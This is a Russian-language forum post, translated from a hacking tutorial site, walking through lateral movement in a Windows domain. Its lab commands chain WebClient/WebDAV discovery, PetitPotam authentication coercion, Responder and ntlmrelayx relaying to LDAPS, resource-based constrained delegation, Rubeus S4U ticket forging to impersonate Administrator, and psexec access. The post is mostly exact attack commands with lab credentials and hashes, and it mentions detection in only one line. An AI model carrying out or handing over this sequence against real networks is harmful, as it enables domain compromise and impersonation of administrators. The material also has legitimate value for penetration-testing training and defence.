• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Боковое перемещение: захват рабочей станции WebClient

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Боковое перемещение: захват рабочей станции WebClient

Введение


Статья основана на идее @tifkin_ (https://twitter.com/tifkin_/status/1418855927575302144?s=20) о том, что захват рабочей станции, также известный как горизонтальное перемещение, возможен путем злоупотребления общими ресурсами WebDAV. В технической документации (https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) обсуждался метод под названием ESC8. Ли выдвинул гипотезу в твите, что PetitPotam можно использовать в сочетании со злоупотреблением NTLM Relay + WebDAV, чтобы вызвать боковое движение, сначала создав учетные записи компьютеров, а затем используя ограниченное делегирование на основе ресурсов для создания билетов для любого пользователя. Используя PetitPotam или PrinterBug, HTTP-аутентификация может быть выполнена принудительно и ретранслирована в LDAP(S) на контроллерах домена. Этот ретранслятор может использовать злоупотребление ограниченным делегированием на основе ресурсов для компрометации ретранслируемого хоста. Мы увидим, все в этой статье.

Протокол WebDav

Согласно Википедии, "WebDAV (Web Distributed Authoring and Versioning) — это набор расширений протокола передачи гипертекста (HTTP), который позволяет агентам пользователей совместно создавать контент непосредственно на веб-сервере HTTP, предоставляя средства для управления параллелизмом и операций с пространством имен, что позволяет рассматривать Интернет как среду для совместной работы, доступную для записи, а не только для чтения".

Служба веб-клиента

Служба WebClient позволяет пользователям подключаться к общим ресурсам WebDav и записывать данные на сервер. Серверы на базе .NET (например, IIS) всегда используют службу WebClient для предоставления пользователям доступа к общим ресурсам WebDav, в то время как другие серверы могут этого не делать. Служба отключена/остановлена по умолчанию, но ее можно установить, обратившись к руководству здесь (https://theitbros.com/installing-webdav-client-windows-server-2016/).

Но просто чтобы дать вам краткое изложение команд, настройку можно выполнить следующим образом:

Install-WindowsFeature WebDAV-Redirector –Restart
Get-WindowsFeature WebDAV-Redirector | Format-Table –Autosize
Set-Service WebClient -StartupType Automatic
Set-Service MRxDAV -StartupType Automatic
Start-Service WebClient
Start-Service MRxDAV


После запуска службы веб-клиента вы можете проверить ее вручную с помощью команды

sc query webclient

Описание


Одним из ограничений метода является то, что WebClient не активен по умолчанию. Чтобы узнать, как активировать его программно, перейдите по ссылке здесь ( https://www.tiraniddo.dev/2015/03/starting-webclient-service.html ), но мы не будем показывать это здесь. В этой статье мы уже настроили машины с запущенным WebClient.

Теперь, чтобы взломать их, мы сначала запустим аутентификацию учетной записи компьютера в нашей системе злоумышленника (путем настройки сервера-ответчика и использования PetitPotam для принудительной аутентификации), затем мы передаем информацию аутентификации в LDAPS, чтобы настроить RBCD (ограничение на основе ресурсов делегирование) и, наконец, используем делегирование для создания служебного билета и захвата нескольких рабочих станций.

Я настоятельно рекомендую прочитать наши сообщения в блоге о PetitPotam и ограниченном делегировании на основе этих ресурсов (https://www.hackingarticles.in/domain-escalation-petitpotam-ntlm-relay-to-adcs-endpoints/) и здесь (https://www.hackingarticles.in/domain-escalation-resource-based-constrained-delegation/), чтобы лучше понять эту статью.

Демонстрация

PetitPotam или диспетчер очереди печати используют технику именованного канала для эксплойта, но сначала нам нужно проверить, работает ли веб-клиент или нет. Для скомпрометированной локальной системы это можно проверить с помощью этой команды

sc query webclient

И если он находится в остановленном состоянии, его можно запустить с помощью этой команды

sc start webclient

Ли Кристенсен (
) заметил, что запрос к именованному каналу "DAV RPC SERVICE" также может подтвердить это удаленно. G0ldenGunSec( https://github.com/G0ldenGunSec) создал инструмент на C#, способный запрашивать упомянутый именованный канал с помощью команды execute-assembly. Он может быть найден здесь (https://github.com/G0ldenGunSec/GetWebDAVStatus ). На терминале скомпрометированной системы мы можем запустить двоичный файл для проверки состояния службы веб-клиента на любом количестве систем в формате:

GetWebDAVStatus.exe сервер 1, сервер 2, сервер 3…

Таким образом, для проверки службы WebClient на 192.168.1.2 делаем:

GetWebDAVStatus.exe 192.168.1.2

1650974001007.png


Еще один инструмент для проверки того же самого — webclientservicescanner, разработанный на Python компанией Pixis, который можно скачать здесь (https://github.com/Hackndo/WebclientServiceScanner) . Он способен проверять машины в пакетном режиме, указав CIDR или IP-адреса в следующем формате:

git clone https://github.com/Hackndo/WebclientServiceScanner
python3 setup.py
webclientservicescanner ignite.local/harshit:Password@1@192.168.1.2-192.168.1.4


1650974013844.png


Инструмент Crackmapexec в пакете Impacket теперь также можно использовать для того, чтобы сделать то же самое. Он доступен по умолчанию и в Kali. Однако флаг "-M" делает это, злоумышленник должен иметь один действительный набор учетных данных (даже низкий уровень привилегий должен работать)

crackmapexec smb 192.168.1.2 -u Harshit -p Password@1 -M webdav

1650974037568.png


Давайте сначала настроим наш ответчик. Ответчик требуется для получения сетевого имени. Служба WebClient работает таким образом, что клиенты аутентифицируются по сетевому имени. Responder может помочь нам в этом, поэтому без него атака не сработает. Нам нужно отредактировать файл Responder.conf и отключить серверы HTTP и SMB, так как они будут конфликтовать с нашим сервером ретрансляции NTLM.

nano /usr/share/responder/Responder.conf

1650974056565.png


Наконец, нам нужно настроить ретранслятор NTLM для настройки RBCD (используя флаг делегат-доступа). Здесь dc1.ignite.local — это контроллер домена, на LDAP которого мы будем ориентироваться.

ntlmrelayx.py -t ldaps://dc1.ignite.local --delegate-access -smb2support

1650974079977.png


Теперь мы также можем запустить наш ответчик

responder -I eth0


1650974103741.png


После запуска ответчика вам необходимо записать временное сетевое имя, назначенное ответчиком системе Kali. Это сетевое имя будет использоваться в следующих нескольких шагах для проведения атаки.

1650974118168.png


Давайте проверим, активен ли веб-клиент в нашей целевой системе или нет.

sc query webclilent

1650974190884.png


Теперь, когда наши ретрансляторы настроены, нам нужно принудительно выполнить аутентификацию на этом мошенническом сервере (ответчике). Многие атаки с помощью принтспулера могут сделать это. Мы будем использовать файл petitpotam.exe, доступный здесь (https://github.com/topotam/PetitPotam). Формат такой:

PetitPotam.exe relay-network-name@port/random_file Target-IP method

PetitPotam.exe WIN-AZGYNGYRUL1@80/raj 192.168.1.3 1


Таким образом, система-жертва достигает нашего ретранслятора NTLM. Responder помогает нам принимать соединения, исходящие от PetitPotam, поскольку предоставляет нам имя сети. Теперь ретранслятор NTLM принимает запрос аутентификации, ретранслирует его в LDAPS на контроллере домена и создает учетную запись компьютера (IWGADVYY$) с привилегиями делегирования учетной записи компьютера/системы, которую мы использовали для проведения атаки (workstation01). Следовательно, вновь созданная учетная запись компьютера теперь может олицетворять любого пользователя, связанного с учетной записью workstation01. (даже админа!)

1650974225170.png


Администратор может обнаружить такие атаки, проверив список учетных записей компьютеров и отметив новые учетные записи компьютеров. В системе администратора мы видим, что учетная запись нашей машины добавлена.

1650974244854.png


Эта учетная запись компьютера имеет различные разрешения для учетной записи workstation01$, которые можно просмотреть в разделе безопасности.

1650974267679.png


Кроме того, если вы проверите редактор атрибута workstation01$, вы увидите, что msDS-AllowedToActOnBehalfOfOtherIdentity был заполнен для делегирования доступа к IWGADVYY$.

1650974280666.png


Теперь, когда учетные данные вновь добавленного компьютера доступны, мы можем использовать Rubeus.exe для генерации хэшей, которые будут использоваться позже при атаке s4u2proxy. В любой доступной вам системе Windows загрузите Rubeus, а затем откройте Powershell (поскольку у CMD возникают проблемы с обработкой некоторых специальных символов, используемых в паролях) и введите следующую команду:

.\rubeus.exe hash /domain:ignite.local /user:IWGADVYY$ /password:']HzFe^[k5)lCH6R'

1650974303841.png


Любой из полученных хэшей должен работать с флагами Rubeus (/rc4, /aes128 и т.д.). Мы записываем хэш AES256, а затем генерируем сервисные билеты с помощью Rubeus. Здесь мы можем указать любого пользователя для олицетворения и выбрать службу CIFS.

Rubeus.exe s4u /user:IWGADVYY$ /aes256:3A2DE2A575980D93A8C57710C65214AA1E55010B4C612FBE7620AE17F01EC753 /impersonateuser:Administrator /msdsspn:host/workstation01.ignite.local /altservice:cifs /nowrap /ptt

1650974327947.png


То же самое можно сделать удаленно с помощью скрипта getST.py. Обратитесь к нашей статье здесь (https://www.hackingarticles.in/domain-escalation-resource-based-constrained-delegation/), чтобы узнать больше. Как вы могли видеть, запрос TGT был успешным, и теперь будут сгенерированы три сервисных билета. Первый билет — это собственный билет учетной записи машины. Второй билет — это билет учетной записи администратора, а третий — билет CIFS, как показано ниже. Это можно просмотреть с помощью команды klist.

1650974347081.png


Мы будем работать с последним собранным билетом. Мы копируем это и декодируем это значение base64 и копируем его в файл с именем ticket.kirbi. Затем мы будем использовать ticketConverter.py, чтобы преобразовать его в файл ccache, поскольку формат kirbi используется Rubeus, а ccache используется Impacket. После этого мы устанавливаем переменную среды KRB5CCNAME на путь к этому билету.

echo "base64 value" | base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi admin.ccache
export KRB5CCNAME=admin.ccache

1650974381226.png


Наконец, мы можем использовать psexec для входа в олицетворенную учетную запись (администратора) на рабочей станции 01.

python3 psexec.py -k -no-pass ignite.local/Administrator@workstation01.ignite.local

1650974397428.png

Вывод

В этой статье мы пролили свет на злоупотребление общими ресурсами webdav, а затем перемещение в сторону домена для компрометации большего количества компьютеров. Это было сделано путем создания новой учетной записи компьютера и предоставления доступа к делегированию (с помощью PetitPotam), а затем эта учетная запись использовалась для олицетворения других пользователей.

Атака редко встречается в реальных сценариях, поскольку должен работать WebClient, что также ограничивает потенциальное подмножество бокового перемещения, однако при правильных условиях она может нанести серьезный ущерб. Надеюсь, вам понравилась статья. Спасибо за чтение.

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/lateral-movement-webclient-workstation-takeover/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх